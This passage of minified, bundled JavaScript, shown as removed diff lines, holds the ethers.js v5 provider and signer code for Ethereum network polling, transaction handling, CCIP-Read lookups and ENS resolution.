this._ready().then((t2) => t2, (t2) => { - if (t2.code !== Gl.errors.NETWORK_ERROR || "noNetwork" !== t2.event) - throw t2; - })); - } - static getFormatter() { - return null == LI && (LI = new CI()), LI; - } - static getNetwork(t2) { - return function(t3) { - if (null == t3) - return null; - if ("number" == typeof t3) { - for (const e3 in Tf) { - const r5 = Tf[e3]; - if (r5.chainId === t3) - return { name: r5.name, chainId: r5.chainId, ensAddress: r5.ensAddress || null, _defaultProvider: r5._defaultProvider || null }; - } - return { chainId: t3, name: "unknown" }; - } - if ("string" == typeof t3) { - const e3 = Tf[t3]; - return null == e3 ? null : { name: e3.name, chainId: e3.chainId, ensAddress: e3.ensAddress, _defaultProvider: e3._defaultProvider || null }; - } - const e2 = Tf[t3.name]; - if (!e2) - return "number" != typeof t3.chainId && Sf.throwArgumentError("invalid network chainId", "network", t3), t3; - 0 !== t3.chainId && t3.chainId !== e2.chainId && Sf.throwArgumentError("network chainId mismatch", "network", t3); - let r4 = t3._defaultProvider || null; - var n2; - return null == r4 && e2._defaultProvider && (r4 = (n2 = e2._defaultProvider) && "function" == typeof n2.renetwork ? e2._defaultProvider.renetwork(t3) : e2._defaultProvider), { name: t3.name, chainId: e2.chainId, ensAddress: t3.ensAddress || e2.ensAddress || null, _defaultProvider: r4 }; - }(null == t2 ? "homestead" : t2); - } - ccipReadFetch(t2, e2, r4) { - return mI(this, void 0, void 0, function* () { - if (this.disableCcipRead || 0 === r4.length) - return null; - const n2 = t2.to.toLowerCase(), A2 = e2.toLowerCase(), i2 = []; - for (let t3 = 0; t3 < r4.length; t3++) { - const e3 = r4[t3], o2 = e3.replace("{sender}", n2).replace("{data}", A2), s2 = e3.indexOf("{data}") >= 0 ? null : JSON.stringify({ data: A2, sender: n2 }), a2 = yield gd({ url: o2, errorPassThrough: true }, s2, (t4, e4) => (t4.status = e4.statusCode, t4)); - if (a2.data) - return a2.data; - const c2 = a2.message || "unknown error"; - if (a2.status >= 400 && a2.status < 500) - return BI.throwError(`response not found during CCIP fetch: ${c2}`, Gl.errors.SERVER_ERROR, { url: e3, errorMessage: c2 }); - i2.push(c2); - } - return BI.throwError(`error encountered during CCIP fetch: ${i2.map((t3) => JSON.stringify(t3)).join(", ")}`, Gl.errors.SERVER_ERROR, { urls: r4, errorMessages: i2 }); - }); - } - _getInternalBlockNumber(t2) { - return mI(this, void 0, void 0, function* () { - if (yield this._ready(), t2 > 0) - for (; this._internalBlockNumber; ) { - const e3 = this._internalBlockNumber; - try { - const r5 = yield e3; - if (_I() - r5.respTime <= t2) - return r5.blockNumber; - break; - } catch (t3) { - if (this._internalBlockNumber === e3) - break; - } - } - const e2 = _I(), r4 = Cf({ blockNumber: this.perform("getBlockNumber", {}), networkError: this.getNetwork().then((t3) => null, (t3) => t3) }).then(({ blockNumber: t3, networkError: n2 }) => { - if (n2) - throw this._internalBlockNumber === r4 && (this._internalBlockNumber = null), n2; - const A2 = _I(); - return (t3 = hf.from(t3).toNumber()) < this._maxInternalBlockNumber && (t3 = this._maxInternalBlockNumber), this._maxInternalBlockNumber = t3, this._setFastBlockNumber(t3), { blockNumber: t3, reqTime: e2, respTime: A2 }; - }); - return this._internalBlockNumber = r4, r4.catch((t3) => { - this._internalBlockNumber === r4 && (this._internalBlockNumber = null); - }), (yield r4).blockNumber; - }); - } - poll() { - return mI(this, void 0, void 0, function* () { - const t2 = OI++, e2 = []; - let r4 = null; - try { - r4 = yield this._getInternalBlockNumber(100 + this.pollingInterval / 2); - } catch (t3) { - return void this.emit("error", t3); - } - if (this._setFastBlockNumber(r4), this.emit("poll", t2, r4), r4 !== this._lastBlockNumber) { - if (-2 === this._emitted.block && (this._emitted.block = r4 - 1), Math.abs(this._emitted.block - r4) > 1e3) - BI.warn(`network block skew detected; skipping block events (emitted=${this._emitted.block} blockNumber${r4})`), this.emit("error", BI.makeError("network block skew detected", Gl.errors.NETWORK_ERROR, { blockNumber: r4, event: "blockSkew", previousBlockNumber: this._emitted.block })), this.emit("block", r4); - else - for (let t3 = this._emitted.block + 1; t3 <= r4; t3++) - this.emit("block", t3); - this._emitted.block !== r4 && (this._emitted.block = r4, Object.keys(this._emitted).forEach((t3) => { - if ("block" === t3) - return; - const e3 = this._emitted[t3]; - "pending" !== e3 && r4 - e3 > 12 && delete this._emitted[t3]; - })), -2 === this._lastBlockNumber && (this._lastBlockNumber = r4 - 1), this._events.forEach((t3) => { - switch (t3.type) { - case "tx": { - const r5 = t3.hash; - let n2 = this.getTransactionReceipt(r5).then((t4) => t4 && null != t4.blockNumber ? (this._emitted["t:" + r5] = t4.blockNumber, this.emit(r5, t4), null) : null).catch((t4) => { - this.emit("error", t4); - }); - e2.push(n2); - break; - } - case "filter": - if (!t3._inflight) { - t3._inflight = true, -2 === t3._lastBlockNumber && (t3._lastBlockNumber = r4 - 1); - const n2 = t3.filter; - n2.fromBlock = t3._lastBlockNumber + 1, n2.toBlock = r4; - const A2 = n2.toBlock - this._maxFilterBlockRange; - A2 > n2.fromBlock && (n2.fromBlock = A2), n2.fromBlock < 0 && (n2.fromBlock = 0); - const i2 = this.getLogs(n2).then((e3) => { - t3._inflight = false, 0 !== e3.length && e3.forEach((e4) => { - e4.blockNumber > t3._lastBlockNumber && (t3._lastBlockNumber = e4.blockNumber), this._emitted["b:" + e4.blockHash] = e4.blockNumber, this._emitted["t:" + e4.transactionHash] = e4.blockNumber, this.emit(n2, e4); - }); - }).catch((e3) => { - this.emit("error", e3), t3._inflight = false; - }); - e2.push(i2); - } - } - }), this._lastBlockNumber = r4, Promise.all(e2).then(() => { - this.emit("didPoll", t2); - }).catch((t3) => { - this.emit("error", t3); - }); - } else - this.emit("didPoll", t2); - }); - } - resetEventsBlock(t2) { - this._lastBlockNumber = t2 - 1, this.polling && this.poll(); - } - get network() { - return this._network; - } - detectNetwork() { - return mI(this, void 0, void 0, function* () { - return BI.throwError("provider does not support network detection", Gl.errors.UNSUPPORTED_OPERATION, { operation: "provider.detectNetwork" }); - }); - } - getNetwork() { - return mI(this, void 0, void 0, function* () { - const t2 = yield this._ready(), e2 = yield this.detectNetwork(); - if (t2.chainId !== e2.chainId) { - if (this.anyNetwork) - return this._network = e2, this._lastBlockNumber = -2, this._fastBlockNumber = null, this._fastBlockNumberPromise = null, this._fastQueryDate = 0, this._emitted.block = -2, this._maxInternalBlockNumber = -1024, this._internalBlockNumber = null, this.emit("network", e2, t2), yield QI(0), this._network; - const r4 = BI.makeError("underlying network changed", Gl.errors.NETWORK_ERROR, { event: "changed", network: t2, detectedNetwork: e2 }); - throw this.emit("error", r4), r4; - } - return t2; - }); - } - get blockNumber() { - return this._getInternalBlockNumber(100 + this.pollingInterval / 2).then((t2) => { - this._setFastBlockNumber(t2); - }, (t2) => { - }), null != this._fastBlockNumber ? this._fastBlockNumber : -1; - } - get polling() { - return null != this._poller; - } - set polling(t2) { - t2 && !this._poller ? (this._poller = setInterval(() => { - this.poll(); - }, this.pollingInterval), this._bootstrapPoll || (this._bootstrapPoll = setTimeout(() => { - this.poll(), this._bootstrapPoll = setTimeout(() => { - this._poller || this.poll(), this._bootstrapPoll = null; - }, this.pollingInterval); - }, 0))) : !t2 && this._poller && (clearInterval(this._poller), this._poller = null); - } - get pollingInterval() { - return this._pollingInterval; - } - set pollingInterval(t2) { - if ("number" != typeof t2 || t2 <= 0 || parseInt(String(t2)) != t2) - throw new Error("invalid polling interval"); - this._pollingInterval = t2, this._poller && (clearInterval(this._poller), this._poller = setInterval(() => { - this.poll(); - }, this._pollingInterval)); - } - _getFastBlockNumber() { - const t2 = _I(); - return t2 - this._fastQueryDate > 2 * this._pollingInterval && (this._fastQueryDate = t2, this._fastBlockNumberPromise = this.getBlockNumber().then((t3) => ((null == this._fastBlockNumber || t3 > this._fastBlockNumber) && (this._fastBlockNumber = t3), this._fastBlockNumber))), this._fastBlockNumberPromise; - } - _setFastBlockNumber(t2) { - null != this._fastBlockNumber && t2 < this._fastBlockNumber || (this._fastQueryDate = _I(), (null == this._fastBlockNumber || t2 > this._fastBlockNumber) && (this._fastBlockNumber = t2, this._fastBlockNumberPromise = Promise.resolve(t2))); - } - waitForTransaction(t2, e2, r4) { - return mI(this, void 0, void 0, function* () { - return this._waitForTransaction(t2, null == e2 ? 1 : e2, r4 || 0, null); - }); - } - _waitForTransaction(t2, e2, r4, n2) { - return mI(this, void 0, void 0, function* () { - const A2 = yield this.getTransactionReceipt(t2); - return (A2 ? A2.confirmations : 0) >= e2 ? A2 : new Promise((A3, i2) => { - const o2 = []; - let s2 = false; - const a2 = function() { - return !!s2 || (s2 = true, o2.forEach((t3) => { - t3(); - }), false); - }, c2 = (t3) => { - t3.confirmations < e2 || a2() || A3(t3); - }; - if (this.on(t2, c2), o2.push(() => { - this.removeListener(t2, c2); - }), n2) { - let r5 = n2.startBlock, A4 = null; - const c3 = (o3) => mI(this, void 0, void 0, function* () { - s2 || (yield QI(1e3), this.getTransactionCount(n2.from).then((h2) => mI(this, void 0, void 0, function* () { - if (!s2) { - if (h2 <= n2.nonce) - r5 = o3; - else { - { - const e3 = yield this.getTransaction(t2); - if (e3 && null != e3.blockNumber) - return; - } - for (null == A4 && (A4 = r5 - 3, A4 < n2.startBlock && (A4 = n2.startBlock)); A4 <= o3; ) { - if (s2) - return; - const r6 = yield this.getBlockWithTransactions(A4); - for (let A5 = 0; A5 < r6.transactions.length; A5++) { - const o4 = r6.transactions[A5]; - if (o4.hash === t2) - return; - if (o4.from === n2.from && o4.nonce === n2.nonce) { - if (s2) - return; - const r7 = yield this.waitForTransaction(o4.hash, e2); - if (a2()) - return; - let A6 = "replaced"; - return o4.data === n2.data && o4.to === n2.to && o4.value.eq(n2.value) ? A6 = "repriced" : "0x" === o4.data && o4.from === o4.to && o4.value.isZero() && (A6 = "cancelled"), void i2(BI.makeError("transaction was replaced", Gl.errors.TRANSACTION_REPLACED, { cancelled: "replaced" === A6 || "cancelled" === A6, reason: A6, replacement: this._wrapTransaction(o4), hash: t2, receipt: r7 })); - } - } - A4++; - } - } - s2 || this.once("block", c3); - } - }), (t3) => { - s2 || this.once("block", c3); - })); - }); - if (s2) - return; - this.once("block", c3), o2.push(() => { - this.removeListener("block", c3); - }); - } - if ("number" == typeof r4 && r4 > 0) { - const t3 = setTimeout(() => { - a2() || i2(BI.makeError("timeout exceeded", Gl.errors.TIMEOUT, { timeout: r4 })); - }, r4); - t3.unref && t3.unref(), o2.push(() => { - clearTimeout(t3); - }); - } - }); - }); - } - getBlockNumber() { - return mI(this, void 0, void 0, function* () { - return this._getInternalBlockNumber(0); - }); - } - getGasPrice() { - return mI(this, void 0, void 0, function* () { - yield this.getNetwork(); - const t2 = yield this.perform("getGasPrice", {}); - try { - return hf.from(t2); - } catch (e2) { - return BI.throwError("bad result from backend", Gl.errors.SERVER_ERROR, { method: "getGasPrice", result: t2, error: e2 }); - } - }); - } - getBalance(t2, e2) { - return mI(this, void 0, void 0, function* () { - yield this.getNetwork(); - const r4 = yield Cf({ address: this._getAddress(t2), blockTag: this._getBlockTag(e2) }), n2 = yield this.perform("getBalance", r4); - try { - return hf.from(n2); - } catch (t3) { - return BI.throwError("bad result from backend", Gl.errors.SERVER_ERROR, { method: "getBalance", params: r4, result: n2, error: t3 }); - } - }); - } - getTransactionCount(t2, e2) { - return mI(this, void 0, void 0, function* () { - yield this.getNetwork(); - const r4 = yield Cf({ address: this._getAddress(t2), blockTag: this._getBlockTag(e2) }), n2 = yield this.perform("getTransactionCount", r4); - try { - return hf.from(n2).toNumber(); - } catch (t3) { - return BI.throwError("bad result from backend", Gl.errors.SERVER_ERROR, { method: "getTransactionCount", params: r4, result: n2, error: t3 }); - } - }); - } - getCode(t2, e2) { - return mI(this, void 0, void 0, function* () { - yield this.getNetwork(); - const r4 = yield Cf({ address: this._getAddress(t2), blockTag: this._getBlockTag(e2) }), n2 = yield this.perform("getCode", r4); - try { - return Wl(n2); - } catch (t3) { - return BI.throwError("bad result from backend", Gl.errors.SERVER_ERROR, { method: "getCode", params: r4, result: n2, error: t3 }); - } - }); - } - getStorageAt(t2, e2, r4) { - return mI(this, void 0, void 0, function* () { - yield this.getNetwork(); - const n2 = yield Cf({ address: this._getAddress(t2), blockTag: this._getBlockTag(r4), position: Promise.resolve(e2).then((t3) => ef(t3)) }), A2 = yield this.perform("getStorageAt", n2); - try { - return Wl(A2); - } catch (t3) { - return BI.throwError("bad result from backend", Gl.errors.SERVER_ERROR, { method: "getStorageAt", params: n2, result: A2, error: t3 }); - } - }); - } - _wrapTransaction(t2, e2, r4) { - if (null != e2 && 32 !== Zl(e2)) - throw new Error("invalid response - sendTransaction"); - const n2 = t2; - return null != e2 && t2.hash !== e2 && BI.throwError("Transaction hash mismatch from Provider.sendTransaction.", Gl.errors.UNKNOWN_ERROR, { expectedHash: t2.hash, returnedHash: e2 }), n2.wait = (e3, n3) => mI(this, void 0, void 0, function* () { - let A2; - null == e3 && (e3 = 1), null == n3 && (n3 = 0), 0 !== e3 && null != r4 && (A2 = { data: t2.data, from: t2.from, nonce: t2.nonce, to: t2.to, value: t2.value, startBlock: r4 }); - const i2 = yield this._waitForTransaction(t2.hash, e3, n3, A2); - return null == i2 && 0 === e3 ? null : (this._emitted["t:" + t2.hash] = i2.blockNumber, 0 === i2.status && BI.throwError("transaction failed", Gl.errors.CALL_EXCEPTION, { transactionHash: t2.hash, transaction: t2, receipt: i2 }), i2); - }), n2; - } - sendTransaction(t2) { - return mI(this, void 0, void 0, function* () { - yield this.getNetwork(); - const e2 = yield Promise.resolve(t2).then((t3) => Wl(t3)), r4 = this.formatter.transaction(t2); - null == r4.confirmations && (r4.confirmations = 0); - const n2 = yield this._getInternalBlockNumber(100 + 2 * this.pollingInterval); - try { - const t3 = yield this.perform("sendTransaction", { signedTransaction: e2 }); - return this._wrapTransaction(r4, t3, n2); - } catch (t3) { - throw t3.transaction = r4, t3.transactionHash = r4.hash, t3; - } - }); - } - _getTransactionRequest(t2) { - return mI(this, void 0, void 0, function* () { - const e2 = yield t2, r4 = {}; - return ["from", "to"].forEach((t3) => { - null != e2[t3] && (r4[t3] = Promise.resolve(e2[t3]).then((t4) => t4 ? this._getAddress(t4) : null)); - }), ["gasLimit", "gasPrice", "maxFeePerGas", "maxPriorityFeePerGas", "value"].forEach((t3) => { - null != e2[t3] && (r4[t3] = Promise.resolve(e2[t3]).then((t4) => t4 ? hf.from(t4) : null)); - }), ["type"].forEach((t3) => { - null != e2[t3] && (r4[t3] = Promise.resolve(e2[t3]).then((t4) => null != t4 ? t4 : null)); - }), e2.accessList && (r4.accessList = this.formatter.accessList(e2.accessList)), ["data"].forEach((t3) => { - null != e2[t3] && (r4[t3] = Promise.resolve(e2[t3]).then((t4) => t4 ? Wl(t4) : null)); - }), this.formatter.transactionRequest(yield Cf(r4)); - }); - } - _getFilter(t2) { - return mI(this, void 0, void 0, function* () { - t2 = yield t2; - const e2 = {}; - return null != t2.address && (e2.address = this._getAddress(t2.address)), ["blockHash", "topics"].forEach((r4) => { - null != t2[r4] && (e2[r4] = t2[r4]); - }), ["fromBlock", "toBlock"].forEach((r4) => { - null != t2[r4] && (e2[r4] = this._getBlockTag(t2[r4])); - }), this.formatter.filter(yield Cf(e2)); - }); - } - _call(t2, e2, r4) { - return mI(this, void 0, void 0, function* () { - r4 >= 10 && BI.throwError("CCIP read exceeded maximum redirections", Gl.errors.SERVER_ERROR, { redirects: r4, transaction: t2 }); - const n2 = t2.to, A2 = yield this.perform("call", { transaction: t2, blockTag: e2 }); - if (r4 >= 0 && "latest" === e2 && null != n2 && "0x556f1830" === A2.substring(0, 10) && Zl(A2) % 32 == 4) - try { - const i2 = $l(A2, 4), o2 = $l(i2, 0, 32); - hf.from(o2).eq(n2) || BI.throwError("CCIP Read sender did not match", Gl.errors.CALL_EXCEPTION, { name: "OffchainLookup", signature: "OffchainLookup(address,string[],bytes,bytes4,bytes)", transaction: t2, data: A2 }); - const s2 = [], a2 = hf.from($l(i2, 32, 64)).toNumber(), c2 = hf.from($l(i2, a2, a2 + 32)).toNumber(), h2 = $l(i2, a2 + 32); - for (let e3 = 0; e3 < c2; e3++) { - const r5 = FI(h2, 32 * e3); - null == r5 && BI.throwError("CCIP Read contained corrupt URL string", Gl.errors.CALL_EXCEPTION, { name: "OffchainLookup", signature: "OffchainLookup(address,string[],bytes,bytes4,bytes)", transaction: t2, data: A2 }), s2.push(r5); - } - const g2 = PI(i2, 64); - hf.from($l(i2, 100, 128)).isZero() || BI.throwError("CCIP Read callback selector included junk", Gl.errors.CALL_EXCEPTION, { name: "OffchainLookup", signature: "OffchainLookup(address,string[],bytes,bytes4,bytes)", transaction: t2, data: A2 }); - const u2 = $l(i2, 96, 100), l2 = PI(i2, 128), f2 = yield this.ccipReadFetch(t2, g2, s2); - null == f2 && BI.throwError("CCIP Read disabled or provided no URLs", Gl.errors.CALL_EXCEPTION, { name: "OffchainLookup", signature: "OffchainLookup(address,string[],bytes,bytes4,bytes)", transaction: t2, data: A2 }); - const p2 = { to: n2, data: tf([u2, GI([f2, l2])]) }; - return this._call(p2, e2, r4 + 1); - } catch (t3) { - if (t3.code === Gl.errors.SERVER_ERROR) - throw t3; - } - try { - return Wl(A2); - } catch (r5) { - return BI.throwError("bad result from backend", Gl.errors.SERVER_ERROR, { method: "call", params: { transaction: t2, blockTag: e2 }, result: A2, error: r5 }); - } - }); - } - call(t2, e2) { - return mI(this, void 0, void 0, function* () { - yield this.getNetwork(); - const r4 = yield Cf({ transaction: this._getTransactionRequest(t2), blockTag: this._getBlockTag(e2), ccipReadEnabled: Promise.resolve(t2.ccipReadEnabled) }); - return this._call(r4.transaction, r4.blockTag, r4.ccipReadEnabled ? 0 : -1); - }); - } - estimateGas(t2) { - return mI(this, void 0, void 0, function* () { - yield this.getNetwork(); - const e2 = yield Cf({ transaction: this._getTransactionRequest(t2) }), r4 = yield this.perform("estimateGas", e2); - try { - return hf.from(r4); - } catch (t3) { - return BI.throwError("bad result from backend", Gl.errors.SERVER_ERROR, { method: "estimateGas", params: e2, result: r4, error: t3 }); - } - }); - } - _getAddress(t2) { - return mI(this, void 0, void 0, function* () { - "string" != typeof (t2 = yield t2) && BI.throwArgumentError("invalid address or ENS name", "name", t2); - const e2 = yield this.resolveName(t2); - return null == e2 && BI.throwError("ENS name not configured", Gl.errors.UNSUPPORTED_OPERATION, { operation: `resolveName(${JSON.stringify(t2)})` }), e2; - }); - } - _getBlock(t2, e2) { - return mI(this, void 0, void 0, function* () { - yield this.getNetwork(), t2 = yield t2; - let r4 = -128; - const n2 = { includeTransactions: !!e2 }; - if (Xl(t2, 32)) - n2.blockHash = t2; - else - try { - n2.blockTag = yield this._getBlockTag(t2), Xl(n2.blockTag) && (r4 = parseInt(n2.blockTag.substring(2), 16)); - } catch (e3) { - BI.throwArgumentError("invalid block hash or block tag", "blockHashOrBlockTag", t2); - } - return ud(() => mI(this, void 0, void 0, function* () { - const t3 = yield this.perform("getBlock", n2); - if (null == t3) - return null != n2.blockHash && null == this._emitted["b:" + n2.blockHash] || null != n2.blockTag && r4 > this._emitted.block ? null : void 0; - if (e2) { - let e3 = null; - for (let r6 = 0; r6 < t3.transactions.length; r6++) { - const n3 = t3.transactions[r6]; - if (null == n3.blockNumber) - n3.confirmations = 0; - else if (null == n3.confirmations) { - null == e3 && (e3 = yield this._getInternalBlockNumber(100 + 2 * this.pollingInterval)); - let t4 = e3 - n3.blockNumber + 1; - t4 <= 0 && (t4 = 1), n3.confirmations = t4; - } - } - const r5 = this.formatter.blockWithTransactions(t3); - return r5.transactions = r5.transactions.map((t4) => this._wrapTransaction(t4)), r5; - } - return this.formatter.block(t3); - }), { oncePoll: this }); - }); - } - getBlock(t2) { - return this._getBlock(t2, false); - } - getBlockWithTransactions(t2) { - return this._getBlock(t2, true); - } - getTransaction(t2) { - return mI(this, void 0, void 0, function* () { - yield this.getNetwork(), t2 = yield t2; - const e2 = { transactionHash: this.formatter.hash(t2, true) }; - return ud(() => mI(this, void 0, void 0, function* () { - const r4 = yield this.perform("getTransaction", e2); - if (null == r4) - return null == this._emitted["t:" + t2] ? null : void 0; - const n2 = this.formatter.transactionResponse(r4); - if (null == n2.blockNumber) - n2.confirmations = 0; - else if (null == n2.confirmations) { - let t3 = (yield this._getInternalBlockNumber(100 + 2 * this.pollingInterval)) - n2.blockNumber + 1; - t3 <= 0 && (t3 = 1), n2.confirmations = t3; - } - return this._wrapTransaction(n2); - }), { oncePoll: this }); - }); - } - getTransactionReceipt(t2) { - return mI(this, void 0, void 0, function* () { - yield this.getNetwork(), t2 = yield t2; - const e2 = { transactionHash: this.formatter.hash(t2, true) }; - return ud(() => mI(this, void 0, void 0, function* () { - const r4 = yield this.perform("getTransactionReceipt", e2); - if (null == r4) - return null == this._emitted["t:" + t2] ? null : void 0; - if (null == r4.blockHash) - return; - const n2 = this.formatter.receipt(r4); - if (null == n2.blockNumber) - n2.confirmations = 0; - else if (null == n2.confirmations) { - let t3 = (yield this._getInternalBlockNumber(100 + 2 * this.pollingInterval)) - n2.blockNumber + 1; - t3 <= 0 && (t3 = 1), n2.confirmations = t3; - } - return n2; - }), { oncePoll: this }); - }); - } - getLogs(t2) { - return mI(this, void 0, void 0, function* () { - yield this.getNetwork(); - const e2 = yield Cf({ filter: this._getFilter(t2) }), r4 = yield this.perform("getLogs", e2); - return r4.forEach((t3) => { - null == t3.removed && (t3.removed = false); - }), CI.arrayOf(this.formatter.filterLog.bind(this.formatter))(r4); - }); - } - getEtherPrice() { - return mI(this, void 0, void 0, function* () { - return yield this.getNetwork(), this.perform("getEtherPrice", {}); - }); - } - _getBlockTag(t2) { - return mI(this, void 0, void 0, function* () { - if ("number" == typeof (t2 = yield t2) && t2 < 0) { - t2 % 1 && BI.throwArgumentError("invalid BlockTag", "blockTag", t2); - let e2 = yield this._getInternalBlockNumber(100 + 2 * this.pollingInterval); - return e2 += t2, e2 < 0 && (e2 = 0), this.formatter.blockTag(e2); - } - return this.formatter.blockTag(t2); - }); - } - getResolver(t2) { - return mI(this, void 0, void 0, function* () { - let e2 = t2; - for (; ; ) { - if ("" === e2 || "." === e2) - return null; - if ("eth" !== t2 && "eth" === e2) - return null; - const r4 = yield this._getResolver(e2, "getResolver"); - if (null != r4) { - const n2 = new HI(this, r4, t2); - return e2 === t2 || (yield n2.supportsWildcard()) ? n2 : null; - } - e2 = e2.split(".").slice(1).join("."); - } - }); - } - _getResolver(t2, e2) { - return mI(this, void 0, void 0, function* () { - null == e2 && (e2 = "ENS"); - const r4 = yield this.getNetwork(); - r4.ensAddress || BI.throwError("network does not support ENS", Gl.errors.UNSUPPORTED_OPERATION, { operation: e2, network: r4.name }); - try { - const e3 = yield this.call({ to: r4.ensAddress, data: "0x0178b8bf" + bp(t2).substring(2) }); - return this.formatter.callAddress(e3); - } catch (t3) { - } - return null; - }); - } - resolveName(t2) { - return mI(this, void 0, void 0, function* () { - t2 = yield t2; - try { - return Promise.resolve(this.formatter.address(t2)); - } catch (e3) { - if (Xl(t2)) - throw e3; - } - "string" != typeof t2 && BI.throwArgumentError("invalid ENS name", "name", t2); - const e2 = yield this.getResolver(t2); - return e2 ? yield e2.getAddress() : null; - }); - } - lookupAddress(t2) { - return mI(this, void 0, void 0, function* () { - t2 = yield t2; - const e2 = (t2 = this.formatter.address(t2)).substring(2).toLowerCase() + ".addr.reverse", r4 = yield this._getResolver(e2, "lookupAddress"); - if (null == r4) - return null; - const n2 = FI(yield this.call({ to: r4, data: "0x691f3431" + bp(e2).substring(2) }), 0); - return (yield this.resolveName(n2)) != t2 ? null : n2; - }); - } - getAvatar(t2) { - return mI(this, void 0, void 0, function* () { - let e2 = null; - if (Xl(t2)) { - const r5 = this.formatter.address(t2).substring(2).toLowerCase() + ".addr.reverse", n2 = yield this._getResolver(r5, "getAvatar"); - if (!n2) - return null; - e2 = new HI(this, n2, r5); - try { - const t3 = yield e2.getAvatar(); - if (t3) - return t3.url; - } catch (t3) { - if (t3.code !== Gl.errors.CALL_EXCEPTION) - throw t3; - } - try { - const t3 = FI(yield this.call({ to: n2, data: "0x691f3431" + bp(r5).substring(2) }), 0); - e2 = yield this.getResolver(t3); - } catch (t3) { - if (t3.code !== Gl.errors.CALL_EXCEPTION) - throw t3; - return null; - } - } else if (e2 = yield this.getResolver(t2), !e2) - return null; - const r4 = yield e2.getAvatar(); - return null == r4 ? null : r4.url; - }); - } - perform(t2, e2) { - return BI.throwError(t2 + " not implemented", Gl.errors.NOT_IMPLEMENTED, { operation: t2 }); - } - _startEvent(t2) { - this.polling = this._events.filter((t3) => t3.pollable()).length > 0; - } - _stopEvent(t2) { - this.polling = this._events.filter((t3) => t3.pollable()).length > 0; - } - _addEventListener(t2, e2, r4) { - const n2 = new kI(vI(t2), e2, r4); - return this._events.push(n2), this._startEvent(n2), this; - } - on(t2, e2) { - return this._addEventListener(t2, e2, false); - } - once(t2, e2) { - return this._addEventListener(t2, e2, true); - } - emit(t2, ...e2) { - let r4 = false, n2 = [], A2 = vI(t2); - return this._events = this._events.filter((t3) => t3.tag !== A2 || (setTimeout(() => { - t3.listener.apply(this, e2); - }, 0), r4 = true, !t3.once || (n2.push(t3), false))), n2.forEach((t3) => { - this._stopEvent(t3); - }), r4; - } - listenerCount(t2) { - if (!t2) - return this._events.length; - let e2 = vI(t2); - return this._events.filter((t3) => t3.tag === e2).length; - } - listeners(t2) { - if (null == t2) - return this._events.map((t3) => t3.listener); - let e2 = vI(t2); - return this._events.filter((t3) => t3.tag === e2).map((t3) => t3.listener); - } - off(t2, e2) { - if (null == e2) - return this.removeAllListeners(t2); - const r4 = []; - let n2 = false, A2 = vI(t2); - return this._events = this._events.filter((t3) => t3.tag !== A2 || t3.listener != e2 || (!!n2 || (n2 = true, r4.push(t3), false))), r4.forEach((t3) => { - this._stopEvent(t3); - }), this; - } - removeAllListeners(t2) { - let e2 = []; - if (null == t2) - e2 = this._events, this._events = []; - else { - const r4 = vI(t2); - this._events = this._events.filter((t3) => t3.tag !== r4 || (e2.push(t3), false)); - } - return e2.forEach((t3) => { - this._stopEvent(t3); - }), this; - } - }; - Al(), il(), Al(), il(), Al(), il(); - var KI = function(t2, e2, r4, n2) { - return new (r4 || (r4 = Promise))(function(A2, i2) { - function o2(t3) { - try { - a2(n2.next(t3)); - } catch (t4) { - i2(t4); - } - } - function s2(t3) { - try { - a2(n2.throw(t3)); - } catch (t4) { - i2(t4); - } - } - function a2(t3) { - var e3; - t3.done ? A2(t3.value) : (e3 = t3.value, e3 instanceof r4 ? e3 : new r4(function(t4) { - t4(e3); - })).then(o2, s2); - } - a2((n2 = n2.apply(t2, e2 || [])).next()); - }); - }; - var JI = new Gl("abstract-signer/5.7.0"); - var jI = ["accessList", "ccipReadEnabled", "chainId", "customData", "data", "from", "gasLimit", "gasPrice", "maxFeePerGas", "maxPriorityFeePerGas", "nonce", "to", "type", "value"]; - var zI = [Gl.errors.INSUFFICIENT_FUNDS, Gl.errors.NONCE_EXPIRED, Gl.errors.REPLACEMENT_UNDERPRICED]; - var qI = class t2 { - constructor() { - JI.checkAbstract(new.target, t2), If(this, "_isSigner", true); - } - getBalance(t3) { - return KI(this, void 0, void 0, function* () { - return this._checkProvider("getBalance"), yield this.provider.getBalance(this.getAddress(), t3); - }); - } - getTransactionCount(t3) { - return KI(this, void 0, void 0, function* () { - return this._checkProvider("getTransactionCount"), yield this.provider.getTransactionCount(this.getAddress(), t3); - }); - } - estimateGas(t3) { - return KI(this, void 0, void 0, function* () { - this._checkProvider("estimateGas"); - const e2 = yield Cf(this.checkTransaction(t3)); - return yield this.provider.estimateGas(e2); - }); - } - call(t3, e2) { - return KI(this, void 0, void 0, function* () { - this._checkProvider("call"); - const r4 = yield Cf(this.checkTransaction(t3)); - return yield this.provider.call(r4, e2); - }); - } - sendTransaction(t3) { - return KI(this, void 0, void 0, function* () { - this._checkProvider("sendTransaction"); - const e2 = yield this.populateTransaction(t3), r4 = yield this.signTransaction(e2); - return yield this.provider.sendTransaction(r4); - }); - } - getChainId() { - return KI(this, void 0, void 0, function* () { - this._checkProvider("getChainId"); - return (yield this.provider.getNetwork()).chainId; - }); - } - getGasPrice() { - return KI(this, void 0, void 0, function* () { - return this._checkProvider("getGasPrice"), yield this.provider.getGasPrice(); - }); - } - getFeeData() { - return KI(this, void 0, void 0, function* () { - return this._checkProvider("getFeeData"), yield this.provider.getFeeData(); - }); - } - resolveName(t3) { - return KI(this, void 0, void 0, function* () { - return this._checkProvider("resolveName"), yield this.provider.resolveName(t3); - }); - } - checkTransaction(t3) { - for (const e3 in t3) - -1 === jI.indexOf(e3) && JI.throwArgumentError("invalid transaction key: " + e3, "transaction", t3); - const e2 = mf(t3); - return null == e2.from ? e2.from = this.getAddress() : e2.from = Promise.all([Promise.resolve(e2.from), this.getAddress()]).then((e3) => (e3[0].toLowerCase() !== e3[1].toLowerCase() && JI.throwArgumentError("from address mismatch", "transaction", t3), e3[0])), e2; - } - populateTransaction(t3) { - return KI(this, void 0, void 0, function* () { - const e2 = yield Cf(this.checkTransaction(t3)); - null != e2.to && (e2.to = Promise.resolve(e2.to).then((t4) => KI(this, void 0, void 0, function* () { - if (null == t4) - return null; - const e3 = yield this.resolveName(t4); - return null == e3 && JI.throwArgumentError("provided ENS name resolves to null", "tx.to", t4), e3; - })), e2.to.catch((t4) => { - })); - const r4 = null != e2.maxFeePerGas || null != e2.maxPriorityFeePerGas; - if (null == e2.gasPrice || 2 !== e2.type && !r4 ? 0 !== e2.type && 1 !== e2.type || !r4 || JI.throwArgumentError("pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas", "transaction", t3) : JI.throwArgumentError("eip-1559 transaction do not support gasPrice", "transaction", t3), 2 !== e2.type && null 